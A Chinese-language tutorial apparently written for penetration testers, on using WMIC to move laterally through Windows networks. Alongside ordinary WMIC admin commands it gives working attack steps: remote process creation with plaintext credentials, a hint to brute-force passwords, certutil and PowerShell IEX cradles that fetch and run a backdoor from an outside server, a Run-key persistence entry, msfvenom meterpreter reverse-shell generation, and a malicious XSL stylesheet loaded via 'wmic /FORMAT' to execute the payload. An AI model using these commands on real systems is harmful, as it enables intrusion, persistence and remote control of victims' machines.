WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具),提供了从命令行接口和批命令脚本执行系统管理的支持。在WMIC出现之前,如果要管理WMI系统,必须使用一些专门的WMI应用,例如SMS,或者使用WMI的脚本编程API,或者使用象CIM Studio之类的工具。如果不熟悉C++之类的编程语言或VBScript之类的脚本语言,或者不掌握WMI名称空间的基本知识,要用WMI管理系统是很困难的。WMIC改变了这种情况。
该组件默认集成于 Windows XP - Windows 10 全系列系统中,我们可以通过 WMI 实现数据的收集与管理,包括提供注册、请求传送、远程管理、安全管理、查询能力、和脚本编程能力等,其设计初衷之一是为了管理员能更加方便的对远程 windows 主机进行各种日常管理,,在正常的管理员的眼里 wmic 确实是远程管理的好帮手,但在渗透者眼中,它也同样是一把在目标内网进行横向渗透的趁手武器。
在使用WMIC命令之前,首先目标主机必须开启 "Windows Management Instrumentation" 这个系统服务,但默认情况下这个服务是开启状态的,其次,目标主机的防火墙放行了 135 端口,这个端口是WMIC默认的管理端口,但是多数情况下内网主机都会开放这个端口,检测是否开放端口有多种方式,如下:
C:\> nmap -p 135 192.168.1.30
C:\> telnet 192.168.1.30 135
C:\> wmic /node:192.168.1.10 /user:administrator /password:123123 PROCESS call create "calc.exe"
上方的几种方式,都可以用于检测 135端口是否开启,如果上方可以正常访问,那我们就可以继续了,你也可以使用Python写一个脚本,来爆破目标主机的密码,替换上方的user,password字段内容。
1.利用 wmic 实现远程下载后门。首先你需要自行搭建一台服务器,然后放置后门文件shell.exe,然后通过在远程执行certutil命令完成下载后门,最后执行delete清理痕迹。
wmic /node:192.168.1.10 /user:administrator /password:123123 PROCESS call create "cmd /c certutil.exe -urlcache -split -f http://lyshark.com/shell.exe c:/shell.exe
& c:/shell.exe & certutil.exe -urlcache -split -f http://lyshark.com/shell.exe delete"
2.wmic命令可以调用PowerShell脚本,接着我们通过调用 IEX DownloadString 函数来远程加载执行 powershell payload。
wmic /NODE:192.168.1.10/user:"administrator" /password:"123123" PROCESS call create "powershell -nop -exec bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://lyshark.com/shellcode.txt');\""
3.也可以获取到系统的进程相关信息如下所示,当然你也可以指定节点,来实现查看远程主机情况。
wmic process list full // 显示所以进程
wmic process list brief // 摘要显示进程
wmic process list status // 显示进程状态
wmic process where name="qq.exe" get executablepath // 获取进程的绝对路径
// 进程创建相关命令
wmic process call create QQ
wmic process call create "C:/Program Files/Tencent/QQ/QQ.exe"
wmic process call create "ifconfig"
// 进程的删除
wmic process where name="qq.exe" call terminate
wmic process where processid="1214" delete
wmic process 1234 call terminate
4.获取操作系统的关键数据,可执行以下命令。
wmic DISKDRIVE get deviceid,Caption,size,InterfaceType // 磁盘相关数据
wmic LOGICALDISK get name,Description,filesystem,size,freespace // 分区相关数据
wmic cpu get name,addresswidth,processorid // CPU相关数据
wmic BaseBoard get Manufacturer,Product,Version,SerialNumber // 主板相关数据
wmic csproduct get IdentifyingNumber // 获取系统序列号
wmic SOUNDDEV get ProductName // 声卡相关
5.服务相关命令
// 更改telnet服务启动类型[Auto|Disabled|Manual]
wmic SERVICE where name="tlntsvr" set startmode="Auto"
wmic SERVICE where name="tlntsvr" call startservice // 运行telnet服务
wmic SERVICE where name="ShardAccess" call stopservice // 停止ICS服务
wmic SERVICE where name="lyshark" call delete // 删除lyshark服务
6.目录管理,与计划任务。
wmic FSDIR where "drive='c:' and filename='mk'" list // 列出c盘下名为mk的目录
wmic fsdir "c://test" call delete // 删除C:/test文件夹
wmic fsdir "c://test" rename "c:/abc" // 重命名文件
wmic fsdir where name='d://test' call copy "c://test" // 复制文件命令
wmic job call create "notepad.exe",0,0,true,false,********154800.000000+480
wmic job call create "explorer.exe",0,0,1,0,********154600.000000+480
7.针对注册表的操作
wmic process call create "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v \"autorun\" /t REG_SZ /d \"C:\windows\autorun.exe\" /f"
Wmic命令不止可用于执行命令,该命令还能够从本地或从远程URL,调用XSL(可扩展样式表语言)脚本,我们可以通过构建恶意的XSL脚本,从而完成上线。
1.首先使用MSF生成一个后门文件,然后运行侦听。
[root@localhost html]# msfvenom -a x86 --platform Windows \
> -p windows/meterpreter/reverse_tcp \
> -b '\x00\x0b' lhost=192.168.1.30 lport=8888 -f exe > shell.exe
[root@localhost html]# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > show options
msf5 exploit(multi/handler) > set lhost 192.168.1.30
lhost => 192.168.1.7
msf5 exploit(multi/handler) > set lport 8888
lport => 8888
msf5 exploit(multi/handler) > exploit -j -z
[*] Started reverse TCP handler on 192.168.1.7:8888
2.接着我们创建一个xsl脚本文件,名称就叫shell.xsl,该脚本通过certtil命令下载恶意后门,然后直接运行。
[root@localhost ~]# vim shell.xsl
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="JScript" implements-prefix="user">
function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell").Run("certutil.exe -urlcache -split -f http://lyshark.com/shell.exe");
var r = new ActiveXObject("WScript.Shell").Run("shell.exe");
return nodelist.nextNode().xml;
}
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>
3.将后门文件和xsl脚本一并放入自己搭建的web服务器上。
[root@localhost ~]# ls -lh
-rw-r--r-- 1 root root 73K Aug 12 23:33 shell.exe
-rw-r--r-- 1 root root 642 Aug 12 23:36 shell.xsl
[root@localhost ~]# cp -a * /var/www/html/
[root@localhost ~]# systemctl restart httpd
4.然后在受害主机运行以下命令,即可实现反弹后门。
wmic os get /FORMAT:"http://lyshark.com/shell.xsl" & timeout /T 1 /NOBREAK & wmic os get /FORMAT:"http://lyshark.com/shell.xsl"